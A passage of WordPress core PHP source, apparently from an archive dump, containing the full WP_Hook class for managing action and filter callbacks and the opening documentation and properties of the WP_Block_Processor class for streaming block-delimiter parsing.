* @package WordPress
* @subpackage Plugin
* @since 4.7.0
*/
/**
* Core class used to implement action and filter hook functionality.
*
* @since 4.7.0
*
* @see Iterator
* @see ArrayAccess
*/
#[AllowDynamicProperties]
final class WP_Hook implements Iterator, ArrayAccess {
/**
* Hook callbacks.
*
* @since 4.7.0
* @var array
*/
public $callbacks = array();
/**
* Priorities list.
*
* @since 6.4.0
* @var array
*/
protected $priorities = array();
/**
* The priority keys of actively running iterations of a hook.
*
* @since 4.7.0
* @var array
*/
private $iterations = array();
/**
* The current priority of actively running iterations of a hook.
*
* @since 4.7.0
* @var array
*/
private $current_priority = array();
/**
* Number of levels this hook can be recursively called.
*
* @since 4.7.0
* @var int
*/
private $nesting_level = 0;
/**
* Flag for if we're currently doing an action, rather than a filter.
*
* @since 4.7.0
* @var bool
*/
private $doing_action = false;
/**
* Adds a callback function to a filter hook.
*
* @since 4.7.0
*
* @param string $hook_name The name of the filter to add the callback to.
* @param callable $callback The callback to be run when the filter is applied.
* @param int $priority The order in which the functions associated with a particular filter
* are executed. Lower numbers correspond with earlier execution,
* and functions with the same priority are executed in the order
* in which they were added to the filter.
* @param int $accepted_args The number of arguments the function accepts.
*/
public function add_filter( $hook_name, $callback, $priority, $accepted_args ) {
if ( null === $priority ) {
$priority = 0;
}
$idx = _wp_filter_build_unique_id( $hook_name, $callback, $priority );
$priority_existed = isset( $this->callbacks[ $priority ] );
$this->callbacks[ $priority ][ $idx ] = array(
'function' => $callback,
'accepted_args' => (int) $accepted_args,
);
// If we're adding a new priority to the list, put them back in sorted order.
if ( ! $priority_existed && count( $this->callbacks ) > 1 ) {
ksort( $this->callbacks, SORT_NUMERIC );
}
$this->priorities = array_keys( $this->callbacks );
if ( $this->nesting_level > 0 ) {
$this->resort_active_iterations( $priority, $priority_existed );
}
}
/**
* Handles resetting callback priority keys mid-iteration.
*
* @since 4.7.0
*
* @param false|int $new_priority Optional. The priority of the new filter being added. Default false,
* for no priority being added.
* @param bool $priority_existed Optional. Flag for whether the priority already existed before the new
* filter was added. Default false.
*/
private function resort_active_iterations( $new_priority = false, $priority_existed = false ) {
$new_priorities = $this->priorities;
// If there are no remaining hooks, clear out all running iterations.
if ( ! $new_priorities ) {
foreach ( $this->iterations as $index => $iteration ) {
$this->iterations[ $index ] = $new_priorities;
}
return;
}
$min = min( $new_priorities );
foreach ( $this->iterations as $index => &$iteration ) {
$current = current( $iteration );
// If we're already at the end of this iteration, just leave the array pointer where it is.
if ( false === $current ) {
continue;
}
$iteration = $new_priorities;
if ( $current < $min ) {
array_unshift( $iteration, $current );
continue;
}
while ( current( $iteration ) < $current ) {
if ( false === next( $iteration ) ) {
break;
}
}
// If we have a new priority that didn't exist, but ::apply_filters() or ::do_action() thinks it's the current priority...
if ( $new_priority === $this->current_priority[ $index ] && ! $priority_existed ) {
/*
* ...and the new priority is the same as what $this->iterations thinks is the previous
* priority, we need to move back to it.
*/
if ( false === current( $iteration ) ) {
// If we've already moved off the end of the array, go back to the last element.
$prev = end( $iteration );
} else {
// Otherwise, just go back to the previous element.
$prev = prev( $iteration );
}
if ( false === $prev ) {
// Start of the array. Reset, and go about our day.
reset( $iteration );
} elseif ( $new_priority !== $prev ) {
// Previous wasn't the same. Move forward again.
next( $iteration );
}
}
}
unset( $iteration );
}
/**
* Removes a callback function from a filter hook.
*
* @since 4.7.0
*
* @param string $hook_name The filter hook to which the function to be removed is hooked.
* @param callable|string|array $callback The callback to be removed from running when the filter is applied.
* This method can be called unconditionally to speculatively remove
* a callback that may or may not exist.
* @param int $priority The exact priority used when adding the original filter callback.
* @return bool Whether the callback existed before it was removed.
*/
public function remove_filter( $hook_name, $callback, $priority ) {
if ( null === $priority ) {
$priority = 0;
}
$function_key = _wp_filter_build_unique_id( $hook_name, $callback, $priority );
$exists = isset( $function_key, $this->callbacks[ $priority ][ $function_key ] );
if ( $exists ) {
unset( $this->callbacks[ $priority ][ $function_key ] );
if ( ! $this->callbacks[ $priority ] ) {
unset( $this->callbacks[ $priority ] );
$this->priorities = array_keys( $this->callbacks );
if ( $this->nesting_level > 0 ) {
$this->resort_active_iterations();
}
}
}
return $exists;
}
/**
* Checks if a specific callback has been registered for this hook.
*
* When using the `$callback` argument, this function may return a non-boolean value
* that evaluates to false (e.g. 0), so use the `===` operator for testing the return value.
*
* @since 4.7.0
* @since 6.9.0 Added the `$priority` parameter.
*
* @param string $hook_name Optional. The name of the filter hook. Default empty.
* @param callable|string|array|false $callback Optional. The callback to check for.
* This method can be called unconditionally to speculatively check
* a callback that may or may not exist. Default false.
* @param int|false $priority Optional. The specific priority at which to check for the callback.
* Default false.
* @return bool|int If `$callback` is omitted, returns boolean for whether the hook has
* anything registered. When checking a specific function, the priority
* of that hook is returned, or false if the function is not attached.
* If `$callback` and `$priority` are both provided, a boolean is returned
* for whether the specific function is registered at that priority.
*/
public function has_filter( $hook_name = '', $callback = false, $priority = false ) {
if ( false === $callback ) {
return $this->has_filters();
}
$function_key = _wp_filter_build_unique_id( $hook_name, $callback, false );
if ( ! $function_key ) {
return false;
}
if ( is_int( $priority ) ) {
return isset( $this->callbacks[ $priority ][ $function_key ] );
}
foreach ( $this->callbacks as $callback_priority => $callbacks ) {
if ( isset( $callbacks[ $function_key ] ) ) {
return $callback_priority;
}
}
return false;
}
/**
* Checks if any callbacks have been registered for this hook.
*
* @since 4.7.0
*
* @return bool True if callbacks have been registered for the current hook, otherwise false.
*/
public function has_filters() {
foreach ( $this->callbacks as $callbacks ) {
if ( $callbacks ) {
return true;
}
}
return false;
}
/**
* Removes all callbacks from the current filter.
*
* @since 4.7.0
*
* @param int|false $priority Optional. The priority number to remove. Default false.
*/
public function remove_all_filters( $priority = false ) {
if ( ! $this->callbacks ) {
return;
}
if ( false === $priority ) {
$this->callbacks = array();
$this->priorities = array();
} elseif ( isset( $this->callbacks[ $priority ] ) ) {
unset( $this->callbacks[ $priority ] );
$this->priorities = array_keys( $this->callbacks );
}
if ( $this->nesting_level > 0 ) {
$this->resort_active_iterations();
}
}
/**
* Calls the callback functions that have been added to a filter hook.
*
* @since 4.7.0
*
* @param mixed $value The value to filter.
* @param array $args Additional parameters to pass to the callback functions.
* This array is expected to include $value at index 0.
* @return mixed The filtered value after all hooked functions are applied to it.
*/
public function apply_filters( $value, $args ) {
if ( ! $this->callbacks ) {
return $value;
}
$nesting_level = $this->nesting_level++;
$this->iterations[ $nesting_level ] = $this->priorities;
$num_args = count( $args );
do {
$this->current_priority[ $nesting_level ] = current( $this->iterations[ $nesting_level ] );
$priority = $this->current_priority[ $nesting_level ];
foreach ( $this->callbacks[ $priority ] as $the_ ) {
if ( ! $this->doing_action ) {
$args[0] = $value;
}
// Avoid the array_slice() if possible.
if ( 0 === $the_['accepted_args'] ) {
$value = call_user_func( $the_['function'] );
} elseif ( $the_['accepted_args'] >= $num_args ) {
$value = call_user_func_array( $the_['function'], $args );
} else {
$value = call_user_func_array( $the_['function'], array_slice( $args, 0, $the_['accepted_args'] ) );
}
}
} while ( false !== next( $this->iterations[ $nesting_level ] ) );
unset( $this->iterations[ $nesting_level ] );
unset( $this->current_priority[ $nesting_level ] );
--$this->nesting_level;
return $value;
}
/**
* Calls the callback functions that have been added to an action hook.
*
* @since 4.7.0
*
* @param array $args Parameters to pass to the callback functions.
*/
public function do_action( $args ) {
$this->doing_action = true;
$this->apply_filters( '', $args );
// If there are recursive calls to the current action, we haven't finished it until we get to the last one.
if ( ! $this->nesting_level ) {
$this->doing_action = false;
}
}
/**
* Processes the functions hooked into the 'all' hook.
*
* @since 4.7.0
*
* @param array $args Arguments to pass to the hook callbacks. Passed by reference.
*/
public function do_all_hook( &$args ) {
$nesting_level = $this->nesting_level++;
$this->iterations[ $nesting_level ] = $this->priorities;
do {
$priority = current( $this->iterations[ $nesting_level ] );
foreach ( $this->callbacks[ $priority ] as $the_ ) {
call_user_func_array( $the_['function'], $args );
}
} while ( false !== next( $this->iterations[ $nesting_level ] ) );
unset( $this->iterations[ $nesting_level ] );
--$this->nesting_level;
}
/**
* Return the current priority level of the currently running iteration of the hook.
*
* @since 4.7.0
*
* @return int|false If the hook is running, return the current priority level.
* If it isn't running, return false.
*/
public function current_priority() {
if ( false === current( $this->iterations ) ) {
return false;
}
return current( current( $this->iterations ) );
}
/**
* Normalizes filters set up before WordPress has initialized to WP_Hook objects.
*
* The `$filters` parameter should be an array keyed by hook name, with values
* containing either:
*
* - A `WP_Hook` instance
* - An array of callbacks keyed by their priorities
*
* Examples:
*
* $filters = array(
* 'wp_fatal_error_handler_enabled' => array(
* 10 => array(
* array(
* 'accepted_args' => 0,
* 'function' => function() {
* return false;
* },
* ),
* ),
* ),
* );
*
* @since 4.7.0
*
* @param array $filters Filters to normalize. See documentation above for details.
* @return WP_Hook[] Array of normalized filters.
*/
public static function build_preinitialized_hooks( $filters ) {
/** @var WP_Hook[] $normalized */
$normalized = array();
foreach ( $filters as $hook_name => $callback_groups ) {
if ( $callback_groups instanceof WP_Hook ) {
$normalized[ $hook_name ] = $callback_groups;
continue;
}
$hook = new WP_Hook();
// Loop through callback groups.
foreach ( $callback_groups as $priority => $callbacks ) {
// Loop through callbacks.
foreach ( $callbacks as $cb ) {
$hook->add_filter( $hook_name, $cb['function'], $priority, $cb['accepted_args'] );
}
}
$normalized[ $hook_name ] = $hook;
}
return $normalized;
}
/**
* Determines whether an offset value exists.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/arrayaccess.offsetexists.php
*
* @param mixed $offset An offset to check for.
* @return bool True if the offset exists, false otherwise.
*/
#[ReturnTypeWillChange]
public function offsetExists( $offset ) {
return isset( $this->callbacks[ $offset ] );
}
/**
* Retrieves a value at a specified offset.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/arrayaccess.offsetget.php
*
* @param mixed $offset The offset to retrieve.
* @return mixed If set, the value at the specified offset, null otherwise.
*/
#[ReturnTypeWillChange]
public function offsetGet( $offset ) {
return isset( $this->callbacks[ $offset ] ) ? $this->callbacks[ $offset ] : null;
}
/**
* Sets a value at a specified offset.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/arrayaccess.offsetset.php
*
* @param mixed $offset The offset to assign the value to.
* @param mixed $value The value to set.
*/
#[ReturnTypeWillChange]
public function offsetSet( $offset, $value ) {
if ( is_null( $offset ) ) {
$this->callbacks[] = $value;
} else {
$this->callbacks[ $offset ] = $value;
}
$this->priorities = array_keys( $this->callbacks );
}
/**
* Unsets a specified offset.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/arrayaccess.offsetunset.php
*
* @param mixed $offset The offset to unset.
*/
#[ReturnTypeWillChange]
public function offsetUnset( $offset ) {
unset( $this->callbacks[ $offset ] );
$this->priorities = array_keys( $this->callbacks );
}
/**
* Returns the current element.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/iterator.current.php
*
* @return array Of callbacks at current priority.
*/
#[ReturnTypeWillChange]
public function current() {
return current( $this->callbacks );
}
/**
* Moves forward to the next element.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/iterator.next.php
*
* @return array Of callbacks at next priority.
*/
#[ReturnTypeWillChange]
public function next() {
return next( $this->callbacks );
}
/**
* Returns the key of the current element.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/iterator.key.php
*
* @return mixed Returns current priority on success, or NULL on failure
*/
#[ReturnTypeWillChange]
public function key() {
return key( $this->callbacks );
}
/**
* Checks if current position is valid.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/iterator.valid.php
*
* @return bool Whether the current position is valid.
*/
#[ReturnTypeWillChange]
public function valid() {
return key( $this->callbacks ) !== null;
}
/**
* Rewinds the Iterator to the first element.
*
* @since 4.7.0
*
* @link https://www.php.net/manual/en/iterator.rewind.php
*/
#[ReturnTypeWillChange]
public function rewind() {
reset( $this->callbacks );
}
}
class-wp-block-processor.php 0000666 00000210507 15224151222 0012120 0 ustar 00 <?php
/**
* Efficiently scan through block structure in document without parsing
* the entire block tree and all of its JSON attributes into memory.
*
* @package WordPress
* @subpackage Blocks
* @since 6.9.0
*/
/**
* Class for efficiently scanning through block structure in a document
* without parsing the entire block tree and JSON attributes into memory.
*
* ## Overview
*
* This class is designed to help analyze and modify block structure in a
* streaming fashion and to bridge the gap between parsed block trees and
* the text representing them.
*
* Use-cases for this class include but are not limited to:
*
* - Counting block types in a document.
* - Queuing stylesheets based on the presence of various block types.
* - Modifying blocks of a given type, i.e. migrations, updates, and styling.
* - Searching for content of specific kinds, e.g. checking for blocks
* with certain theme support attributes, or block bindings.
* - Adding CSS class names to the element wrapping a block’s inner blocks.
*
* > *Note!* If a fully-parsed block tree of a document is necessary, including
* > all the parsed JSON attributes, nested blocks, and HTML, consider
* > using {@see \parse_blocks()} instead which will parse the document
* > in one swift pass.
*
* For typical usage, jump first to the methods {@see self::next_block()},
* {@see self::next_delimiter()}, or {@see self::next_token()}.
*
* ### Values
*
* As a lower-level interface than {@see parse_blocks()} this class follows
* different performance-focused values:
*
* - Minimize allocations so that documents of any size may be processed
* on a fixed or marginal amount of memory.
* - Make hidden costs explicit so that calling code only has to pay the
* performance penalty for features it needs.
* - Operate with a streaming and re-entrant design to make it possible
* to operate on chunks of a document and to resume after pausing.
*
* This means that some operations might appear more cumbersome than one
* might expect. This design tradeoff opens up opportunity to wrap this in
* a convenience class to add higher-level functionality.
*
* ## Concepts
*
* All text documents can be considered a block document containing a combination
* of “freeform HTML” and explicit block structure. Block structure forms through
* special HTML comments called _delimiters_ which include a block type and,
* optionally, block attributes encoded as a JSON object payload.
*
* This processor is designed to scan through a block document from delimiter to
* delimiter, tracking how the delimiters impact the structure of the document.
* Spans of HTML appear between delimiters. If these spans exist at the top level
* of the document, meaning there is no containing block around them, they are
* considered freeform HTML content. If, however, they appear _inside_ block
* structure they are interpreted as `innerHTML` for the containing block.
*
* ### Tokens and scanning
*
* As the processor scans through a document is reports information about the token
* on which is pauses. Tokens represent spans of text in the input comprising block
* delimiters and spans of HTML.
*
* - {@see self::next_token()} visits every contiguous subspan of text in the
* input document. This includes all explicit block comment delimiters and spans
* of HTML content (whether freeform or inner HTML).
* - {@see self::next_delimiter()} visits every explicit block comment delimiter
* unless passed a block type which covers freeform HTML content. In these cases
* it will stop at top-level spans of HTML and report a `null` block type.
* - {@see self::next_block()} visits every block delimiter which _opens_ a block.
* This includes opening block delimiters as well as void block delimiters. With
* the same exception as above for freeform HTML block types, this will visit
* top-level spans of HTML content.
*
* When matched on a particular token, the following methods provide structural
* and textual information about it:
*
* - {@see self::get_delimiter_type()} reports whether the delimiter is an opener,
* a closer, or if it represents a whole void block.
* - {@see self::get_block_type()} reports the fully-qualified block type which
* the delimiter represents.
* - {@see self::get_printable_block_type()} reports the fully-qualified block type,
* but returns `core/freeform` instead of `null` for top-level freeform HTML content.
* - {@see self::is_block_type()} indicates if the delimiter represents a block of
* the given block type, or wildcard or pseudo-block type described below.
* - {@see self::opens_block()} indicates if the delimiter opens a block of one
* of the provided block types. Opening, void, and top-level freeform HTML content
* all open blocks.
* - {@see static::get_attributes()} is currently reserved for a future streaming
* JSON parser class.
* - {@see self::allocate_and_return_parsed_attributes()} extracts the JSON attributes
* for delimiters which open blocks and return the fully-parsed attributes as an
* associative array. {@see static::get_last_json_error()} for when this fails.
* - {@see self::is_html()} indicates if the token is a span of HTML which might
* be top-level freeform content or a block’s inner HTML.
* - {@see self::get_html_content()} returns the span of HTML.
* - {@see self::get_span()} for the byte offset and length into the input document
* representing the token.
*
* It’s possible for the processor to fail to scan forward if the input document ends
* in a proper prefix of an explicit block comment delimiter. For example, if the input
* ends in `<!-- wp:` then it _might_ be the start of another delimiter. The parser
* cannot know, however, and therefore refuses to proceed. {@see static::get_last_error()}
* to distinguish between a failure to find the next token and an incomplete input.
*
* ### Block types
*
* A block’s “type” comprises an optional _namespace_ and _name_. If the namespace
* isn’t provided it will be interpreted as the implicit `core` namespace. For example,
* the type `gallery` is the name of the block in the `core` namespace, but the type
* `abc/gallery` is the _fully-qualified_ block type for the block whose name is still
* `gallery`, but in the `abc` namespace.
*
* Methods on this class are aware of this block naming semantic and anywhere a block
* type is an argument to a method it will be normalized to account for implicit namespaces.
* Passing `paragraph` is the same as passing `core/paragraph`. On the contrary, anywhere
* this class returns a block type, it will return the fully-qualified and normalized form.
* For example, for the `<!-- wp:group -->` delimiter it will return `core/group` as the
* block type.
*
* There are two special block types that change the behavior of the processor:
*
* - The wildcard `*` represents _any block_. In addition to matching all block types,
* it also represents top-level freeform HTML whose block type is reported as `null`.
*
* - The `core/freeform` block type is a pseudo-block type which explicitly matches
* top-level freeform HTML.
*
* These special block types can be passed into any method which searches for blocks.
*
* There is one additional special block type which may be returned from
* {@see self::get_printable_block_type()}. This is the `#innerHTML` type, which
* indicates that the HTML span on which the processor is paused is inner HTML for
* a containing block.
*
* ### Spans of HTML
*
* Non-block content plays a complicated role in processing block documents. This
* processor exposes tools to help work with these spans of HTML.
*
* - {@see self::is_html()} indicates if the processor is paused at a span of
* HTML but does not differentiate between top-level freeform content and inner HTML.
* - {@see self::is_non_whitespace_html()} indicates not only if the processor
* is paused at a span of HTML, but also whether that span incorporates more than
* whitespace characters. Because block serialization often inserts newlines between
* block comment delimiters, this is useful for distinguishing “real” freeform
* content from purely aesthetic syntax.
* - {@see self::is_block_type()} matches top-level freeform HTML content when
* provided one of the special block types described above.
*
* ### Block structure
*
* As the processor traverses block delimiters it maintains a stack of which blocks are
* open at the given place in the document where it’s paused. This stack represents the
* block structure of a document and is used to determine where blocks end, which blocks
* represent inner blocks, whether a span of HTML is top-level freeform content, and
* more. Investigate the stack with {@see self::get_breadcrumbs()}, which returns an
* array of block types starting at the outermost-open block and descending to the
* currently-visited block.
*
* Unlike {@parse_blocks()}, spans of HTML appear in this structure as the special
* reported block type `#html`. Such a span represents inner HTML for a block if the
* depth reported by {@see self::get_depth()} is greater than one.
*
* It will generally not be necessary to inspect the stack of open blocks, though
* depth may be important for finding where blocks end. When visiting a block opener,
* the depth will have been increased before pausing; in contrast the depth is
* decremented before visiting a closer. This makes the following an easy way to
* determine if a block is still open.
*
* Example:
*
* $depth = $processor->get_depth();
* while ( $processor->next_token() && $processor->get_depth() > $depth ) {
* continue
* }
* // Processor is now paused at the token immediately following the closed block.
*
* #### Extracting blocks
*
* A unique feature of this processor is the ability to return the same output as
* {@see \parse_blocks()} would produce, but for a subset of the input document.
* For example, it’s possible to extract an image block, manipulate that parsed
* block, and re-serialize it into the original document. It’s possible to do so
* while skipping over the parse of the rest of the document.
*
* {@see self::extract_full_block_and_advance()} will scan forward from the current block opener
* and build the parsed block structure until the current block is closed. It will
* include all inner HTML and inner blocks, and parse all of the inner blocks. It
* can be used to extract a block at any depth in the document, helpful for operating
* on blocks within nested structure.
*
* Example:
*
* if ( ! $processor->next_block( 'gallery' ) ) {
* return $post_content;
* }
*
* $gallery_at = $processor->get_span()->start;
* $gallery_block = $processor->extract_full_block_and_advance();
* $after_gallery = $processor->get_span()->start;
* return (
* substr( $post_content, 0, $gallery_at ) .
* serialize_block( modify_gallery( $gallery_block ) .
* substr( $post_content, $after_gallery )
* );
*
* #### Handling of malformed structure
*
* There are situations where closing block delimiters appear for which no open block
* exists, or where a document ends before a block is closed, or where a closing block
* delimiter appears but references a different block type than the most-recently
* opened block does. In all of these cases, the stack of open blocks should mirror
* the behavior in {@see \parse_blocks()}.
*
* Unlike {@see \parse_blocks()}, however, this processor can still operate on the
* invalid block delimiters. It provides a few functions which can be used for building
* custom and non-spec-compliant error handling.
*
* - {@see self::has_closing_flag()} indicates if the block delimiter contains the
* closing flag at the end. Some invalid block delimiters might contain both the
* void and closing flag, in which case {@see self::get_delimiter_type()} will
* report that it’s a void block.
* - {@see static::get_last_error()} indicates if the processor reached an invalid
* block closing. Depending on the context, {@see \parse_blocks()} might instead
* ignore the token or treat it as freeform HTML content.
*
* ## Static helpers
*
* This class provides helpers for performing semantic block-related operations.
*
* - {@see self::normalize_block_type()} takes a block type with or without the
* implicit `core` namespace and returns a fully-qualified block type.
* - {@see self::are_equal_block_types()} indicates if two spans across one or
* more input texts represent the same fully-qualified block type.
*
* ## Subclassing
*
* This processor is designed to accurately parse a block document. Therefore, many
* of its methods are not meant for subclassing. However, overall this class supports
* building higher-level convenience classes which may choose to subclass it. For those
* classes, avoid re-implementing methods except for the list below. Instead, create
* new names representing the higher-level concepts being introduced. For example, instead
* of creating a new method named `next_block()` which only advances to blocks of a given
* kind, consider creating a new method named something like `next_layout_block()` which
* won’t interfere with the base class method.
*
* - {@see static::get_last_error()} may be reimplemented to report new errors in the subclass
* which aren’t intrinsic to block parsing.
* - {@see static::get_attributes()} may be reimplemented to provide a streaming interface
* to reading and modifying a block’s JSON attributes. It should be fast and memory efficient.
* - {@see static::get_last_json_error()} may be reimplemented to report new errors introduced
* with a reimplementation of {@see static::get_attributes()}.
*
* @since 6.9.0
*/
class WP_Block_Processor {
/**
* Indicates if the last operation failed, otherwise
* will be `null` for success.
*
* @since 6.9.0
*
* @var string|null
*/
private $last_error = null;
/**
* Indicates failures from decoding JSON attributes.
*
* @since 6.9.0
*
* @see \json_last_error()
*
* @var int
*/
private $last_json_error = JSON_ERROR_NONE;
/**
* Source text provided to processor.
*
* @since 6.9.0
*
* @var string
*/
protected $source_text;
/**
* Byte offset into source text where a matched delimiter starts.
*
* Example:
*
* 5 10 15 20 25 30 35 40 45 50
* <!-- wp:group --><!-- wp:void /--><!-- /wp:group -->
* ╰─ Starts at byte offset 17.
*
* @since 6.9.0
*
* @var int
*/
private $matched_delimiter_at = 0;
/**
* Byte length of full span of a matched delimiter.
*
* Example:
*
* 5 10 15 20 25 30 35 40 45 50
* <!-- wp:group --><!-- wp:void /--><!-- /wp:group -->
* ╰───────────────╯
* 17 bytes long.
*
* @since 6.9.0
*
* @var int
*/
private $matched_delimiter_length = 0;
/**
* First byte offset into source text following any previously-matched delimiter.
* Used to indicate where an HTML span starts.
*
* Example:
*
* 5 10 15 20 25 30 35 40 45 50 55
* <!-- wp:paragraph --><p>Content</p><⃨!⃨-⃨-⃨ ⃨/⃨w⃨p⃨:⃨p⃨a⃨r⃨a⃨g⃨r⃨a⃨p⃨h⃨ ⃨-⃨-⃨>⃨
* │ ╰─ This delimiter was matched, and after matching,
* │ revealed the preceding HTML span.
* │
* ╰─ The first byte offset after the previous matched delimiter
* is 21. Because the matched delimiter starts at 55, which is after
* this, a span of HTML must exist between these boundaries.
*
* @since 6.9.0
*
* @var int
*/
private $after_previous_delimiter = 0;
/**
* Byte offset where namespace span begins.
*
* When no namespace is present, this will be the same as the starting
* byte offset for the block name.
*
* Example:
*
* <!-- wp:core/gallery -->
* │ ╰─ Name starts here.
* ╰─ Namespace starts here.
*
* <!-- wp:gallery -->
* ├─ The namespace would start here but is implied as “core.”
* ╰─ The name starts here.
*
* @since 6.9.0
*
* @var int
*/
private $namespace_at = 0;
/**
* Byte offset where block name span begins.
*
* When no namespace is present, this will be the same as the starting
* byte offset for the block namespace.
*
* Example:
*
* <!-- wp:core/gallery -->
* │ ╰─ Name starts here.
* ╰─ Namespace starts here.
*
* <!-- wp:gallery -->
* ├─ The namespace would start here but is implied as “core.”
* ╰─ The name starts here.
*
* @since 6.9.0
*
* @var int
*/
private $name_at = 0;
/**
* Byte length of block name span.
*
* Example:
*
* 5 10 15 20 25
* <!-- wp:core/gallery -->
* ╰─────╯
* 7 bytes long.
*
* @since 6.9.0
*
* @var int
*/
private $name_length = 0;
/**
* Whether the delimiter contains the block-closing flag.
*
* This may be erroneous if present within a void block,
* therefore the {@see self::has_closing_flag()} can be used by
* calling code to perform custom error-handling.
*
* @since 6.9.0
*
* @var bool
*/
private $has_closing_flag = false;
/**
* Byte offset where JSON attributes span begins.
*
* Example:
*
* 5 10 15 20 25 30 35 40
* <!-- wp:paragraph {"dropCaps":true} -->
* ╰─ Starts at byte offset 18.
*
* @since 6.9.0
*
* @var int
*/
private $json_at;
/**
* Byte length of JSON attributes span, or 0 if none are present.
*
* Example:
*
* 5 10 15 20 25 30 35 40
* <!-- wp:paragraph {"dropCaps":true} -->
* ╰───────────────╯
* 17 bytes long.
*
* @since 6.9.0
*
* @var int
*/
private $json_length = 0;
/**
* Internal parser state, differentiating whether the instance is currently matched,
* on an implicit freeform node, in error, or ready to begin parsing.
*
* @see self::READY
* @see self::MATCHED
* @see self::HTML_SPAN
* @see self::INCOMPLETE_INPUT
* @see self::COMPLETE
*
* @since 6.9.0
*
* @var string
*/
protected $state = self::READY;
/**
* Indicates what kind of block comment delimiter was matched.
*
* One of:
*
* - {@see self::OPENER} If the delimiter is opening a block.
* - {@see self::CLOSER} If the delimiter is closing an open block.
* - {@see self::VOID} If the delimiter represents a void block with no inner content.
*
* If a parsed comment delimiter contains both the closing and the void
* flags then it will be interpreted as a void block to match the behavior
* of the official block parser, however, this is a syntax error and probably
* the block ought to close an open block of the same name, if one is open.
*
* @since 6.9.0
*
* @var string
*/
private $type;
/**
* Whether the last-matched delimiter acts like a void block and should be
* popped from the stack of open blocks as soon as the parser advances.
*
* This applies to void block delimiters and to HTML spans.
*
* @since 6.9.0
*
* @var bool
*/
private $was_void = false;
/**
* For every open block, in hierarchical order, this stores the byte offset
* into the source text where the block type starts, including for HTML spans.
*
* To avoid allocating and normalizing block names when they aren’t requested,
* the stack of open blocks is stored as the byte offsets and byte lengths of
* each open block’s block type. This allows for minimal tracking and quick
* reading or comparison of block types when requested.
*
* @since 6.9.0
*
* @see self::$open_blocks_length
*
* @var int[]
*/
private $open_blocks_at = array();
/**
* For every open block, in hierarchical order, this stores the byte length
* of the block’s block type in the source text. For HTML spans this is 0.
*
* @since 6.9.0
*
* @see self::$open_blocks_at
*
* @var int[]
*/
private $open_blocks_length = array();
/**
* Indicates which operation should apply to the stack of open blocks after
* processing any pending spans of HTML.
*
* Since HTML spans are discovered after matching block delimiters, those
* delimiters need to defer modifying the stack of open blocks. This value,
* if set, indicates what operation should be applied. The properties
* associated with token boundaries still point to the delimiters even
* when processing HTML spans, so there’s no need to track them independently.
*
* @var 'push'|'void'|'pop'|null
*/
private $next_stack_op = null;
/**
* Creates a new block processor.
*
* Example:
*
* $processor = new WP_Block_Processor( $post_content );
* if ( $processor->next_block( 'core/image' ) ) {
* echo "Found an image!\n";
* }
*
* @see self::next_block() to advance to the start of the next block (skips closers).
* @see self::next_delimiter() to advance to the next explicit block delimiter.
* @see self::next_token() to advance to the next block delimiter or HTML span.
*
* @since 6.9.0
*
* @param string $source_text Input document potentially containing block content.
*/
public function __construct( string $source_text ) {
$this->source_text = $source_text;
}
/**
* Advance to the next block delimiter which opens a block, indicating if one was found.
*
* Delimiters which open blocks include opening and void block delimiters. To visit
* freeform HTML content, pass the wildcard “*” as the block type.
*
* Use this function to walk through the blocks in a document, pausing where they open.
*
* Example blocks:
*
* // The first delimiter opens the paragraph block.
* <⃨!⃨-⃨-⃨ ⃨w⃨p⃨:⃨p⃨a⃨r⃨a⃨g⃨r⃨a⃨p⃨h⃨ ⃨-⃨-⃨>⃨<p>Content</p><!-- /wp:paragraph-->
*
* // The void block is the first opener in this sequence of closers.
* <!-- /wp:group --><⃨!⃨-⃨-⃨ ⃨w⃨p⃨:⃨s⃨p⃨a⃨c⃨e⃨r⃨ ⃨{⃨"⃨h⃨e⃨i⃨g⃨h⃨t⃨"⃨:⃨"⃨2⃨0⃨0⃨p⃨x⃨"⃨}⃨ ⃨/⃨-⃨-⃨>⃨<!-- /wp:group -->
*
* // If, however, `*` is provided as the block type, freeform content is matched.
* <⃨h⃨2⃨>⃨M⃨y⃨ ⃨s⃨y⃨n⃨o⃨p⃨s⃨i⃨s⃨<⃨/⃨h⃨2⃨>⃨\⃨n⃨<!-- wp:my/table-of-contents /-->
*
* // Inner HTML is never freeform content, and will not be matched even with the wildcard.
* <!-- /wp:list-item --></ul><!-- /wp:list --><⃨!⃨-⃨-⃨ ⃨w⃨p⃨:⃨p⃨a⃨r⃨a⃨g⃨r⃨a⃨p⃨h⃨ ⃨-⃨>⃨<p>
*
* Example:
*
* // Find all textual ranges of image block opening delimiters.
* $images = array();
* $processor = new WP_Block_Processor( $html );
* while ( $processor->next_block( 'core/image' ) ) {
* $images[] = $processor->get_span();
* }
*
* In some cases it may be useful to conditionally visit the implicit freeform
* blocks, such as when determining if a post contains freeform content that
* isn’t purely whitespace.
*
* Example:
*
* $seen_block_types = [];
* $block_type = '*';
* $processor = new WP_Block_Processor( $html );
* while ( $processor->next_block( $block_type ) {
* // Stop wasting time visiting freeform blocks after one has been found.
* if (
* '*' === $block_type &&
* null === $processor->get_block_type() &&
* $processor->is_non_whitespace_html()
* ) {
* $block_type = null;
* $seen_block_types['core/freeform'] = true;
* continue;
* }
*
* $seen_block_types[ $processor->get_block_type() ] = true;
* }
*
* @since 6.9.0
*
* @see self::next_delimiter() to advance to the next explicit block delimiter.
* @see self::next_token() to advance to the next block delimiter or HTML span.
*
* @param string|null $block_type Optional. If provided, advance until a block of this type is found.
* Default is to stop at any block regardless of its type.
* @return bool Whether an opening delimiter for a block was found.
*/
public function next_block( ?string $block_type = null ): bool {
while ( $this->next_delimiter( $block_type ) ) {
if ( self::CLOSER !== $this->get_delimiter_type() ) {
return true;
}
}
return false;
}
/**
* Advance to the next block delimiter in a document, indicating if one was found.
*
* Delimiters may include invalid JSON. This parser does not attempt to parse the
* JSON attributes until requested; when invalid, the attributes will be null. This
* matches the behavior of {@see \parse_blocks()}. To visit freeform HTML content,
* pass the wildcard “*” as the block type.
*
* Use this function to walk through the block delimiters in a document.
*
* Example delimiters:
*
* <!-- wp:paragraph {"dropCap": true} -->
* <!-- wp:separator /-->
* <!-- /wp:paragraph -->
*
* // If the wildcard `*` is provided as the block type, freeform content is matched.
